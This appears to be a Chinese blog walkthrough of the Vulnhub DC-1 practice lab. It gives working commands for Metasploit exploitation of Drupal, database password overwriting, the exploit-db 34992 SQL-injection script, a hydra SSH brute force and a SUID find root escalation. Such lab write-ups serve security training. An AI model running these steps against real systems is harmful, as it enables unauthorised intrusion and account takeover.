Vulnhub靶场DC-1练习

0x00 准备

下载链接:https://download.vulnhub.com/dc/DC-1.zip

介绍:There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.(一共有五个flags,最终目标是进入root用户的目录。)

启动以后如下图:

在这里插入图片描述

将网络连接设置成桥接模式。

0x01 主机信息收集

发现主机:netdiscover -i eth0
在这里插入图片描述
可以确定目标主机的IP为192.168.2.145,本机的IP为192.168.2.157。

探测目标主机开放的端口:nmap -sS -sV -A -n 192.168.2.145

在这里插入图片描述

可以看到开启了22端口,80端口。

0x02 站点信息收集

访问80端口:http://192.168.2.145:80

在这里插入图片描述

网站是drupal的内容管理框架,由PHP编写的。可以明显的看出cms。

用dirb扫描一下网站目录:dirsearch -u 192.168.2.145 -e *

在这里插入图片描述
在这里插入图片描述

没有很特别的地方,可以先放一放这些目录。

0x03 漏洞查找与利用

已经知道是drupal的cms了,可以去查找一下相关的漏洞。这里直接用msf。

启动msf:msfconsole

搜索drupal相关的信息:search drupal

在这里插入图片描述

选择模块4:use 4

查看选项:show options

在这里插入图片描述

需要设置rhost,目的主机的IP:set rhosts 192.168.2.125

再运行:run

在这里插入图片描述

获得普通shell:shell

在这里插入图片描述

查看一下文件目录:ls

在这里插入图片描述

查看flag1.txt文件的内容:cat flag1.txt

在这里插入图片描述

这个文件提示我们去看一下配置文件。搜索drupal的配置文件,/site/default/settings.php,查看这个文件的内容:cat /site/default/settings.php

提示不存在这个这个文件,也许是换目录了,于是搜索:find / -name settings.php

在这里插入图片描述

找到了文件目录,再查看一下文件内容:cat /var/www/sites/default/settings.php

在这里插入图片描述

可以看到数据库的相关信息。

现在是普通shell,接下来升级成半交互式的shell来登录数据库:python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

可以看到这个shell还只是普通用户(www-data),没有root权限。根据前面的提示进入mysql数据库:mysql -u dbuser -p R0ck3t

收集数据库中的信息:

显示所有的数据库:show databases;

切换数据库:use drupaldb

显示当前数据库的所有表:show tables;

看到一个user表,查看这个表的内容:select * from users;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

有两个用户,密码都加盐了。考虑给admin换个密码,或者添加一个和admin有一样权限的用户。

方式一:给admin换个密码123456

数据库里的密码是加密的,先找到drupal的加密文件/var/www/scripts/password-hash.sh,这个脚本是php写的,还能用php加上参数来运行,直接得到加密后的密码。所以用这个文件给123456加密:php /var/www/scripts/password-hash.sh 123456 (注意这里要先退出mysql)

在这里插入图片描述

框起来的部分就是123456加密后的内容了,复制一下: S S SDKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif

再进入mysql的drupaldb数据库的users表里,将name为admin的pass修改为上面复制的加密内容:update users set pass='$S$DKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif' where name='admin';

在这里插入图片描述

可以看到admin的密码已经更改为123456了。

方式二:添加一个admin权限的用户

drupal7版本有个sql注入的漏洞,可以添加一个admin权限的用户。Searchsploit会通过本地的exploit-db查找软件漏洞信息。在kali的终端里:searchsploit drupal 就可以查找drupal相关的漏洞信息。

在这里插入图片描述

利用这个脚本,path中有这个脚本的相对路径,前面的路径是/usr/share/exploitdb/exploits/,也可以利用命令查找这个脚本的完整路径:searchsploit 34992.py -p

在这里插入图片描述

再来看一下这个脚本的使用方法:python /usr/share/exploitdb/exploits/php/webapps/34992.py

在这里插入图片描述

添加一个名字为flag密码为flag的用户:python /usr/share/exploitdb/exploits/php/webapps/34992.py -u http://192.168.2.145 -u flag -p flag

在这里插入图片描述

可以看到插入用户成功了,可以进mysql里看一下是不是有:

在这里插入图片描述

用了上面两个方法以后,再去浏览器器中登录:http://192.168.2.145,用admin-123456也可以登陆成功,用flag-flag也可以登录成功。

在这里插入图片描述

可以看到已经登录成功了。找找看有没有什么有用的信息:

在这里插入图片描述

点进去这个flag3:

在这里插入图片描述

提示passwd和shadow文件有可以信息。

继续在msf的shell中查看/etc/passwd文件:tac /etx/passwd (cat是cong第一行到最后一行连续输出到屏幕上,tac是从最后一行到第一行连续输出到屏幕上。)

在这里插入图片描述

可以看到有个flag4用户。有两种思路拿到这个用户的密码,一个是爆破,一个是提权打开shadow文件查看这个用户的密码。

进行爆破:hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.2.145

在这里插入图片描述

爆破出来的可以登录的用户名和密码已经高亮显示出来了。

再去msf的shell中ssh连接(直接在kali的终端中也可以):ssh flag4@192.168.2.145

在这里插入图片描述

flag4文件的内容提示:你能用相同的方式登录root用户吗?也许可以,但是很难。

考虑SUID提权。

找到正在系统上运行的所有SUID可执行文件:find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

发现find命令具有suid的权限。那就用可以执行root权限的find命令来查找文件,做到suid提权。find命令也有执行命令的能力,-exec必须以 ; 来结束命令,由于分号在各个系统中有不同的意义,所以前面加反斜杠。

使用exec查看当前用户:find / index.php -exec "/bin/sh" \; (这里的index.php可以是任意文件名,只要是能在前面指定的根目录 / 下能确定找到的文件就可以。exec后面的命令不加双引号好像也可以。)

再用whoami命令看一下提权成功了没。

在这里插入图片描述

可以看到当前的用户为root。直接进入/root查看flag。

#0x04 思路总结

netdiscover探测目标主机IP,nmap查看主机开放的端口服务。浏览器访问站点进行站点相关的信息收集,用dirsearch扫一下站点的目录。上msf找模块利用。获得普通用户的shell,找数据库相关的信息,登录数据库,修改密码。网站登录用户,查找提示信息。用hydra爆破目标主机的用户密码,ssh连接目标主机,用find命令进行SUID提权。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值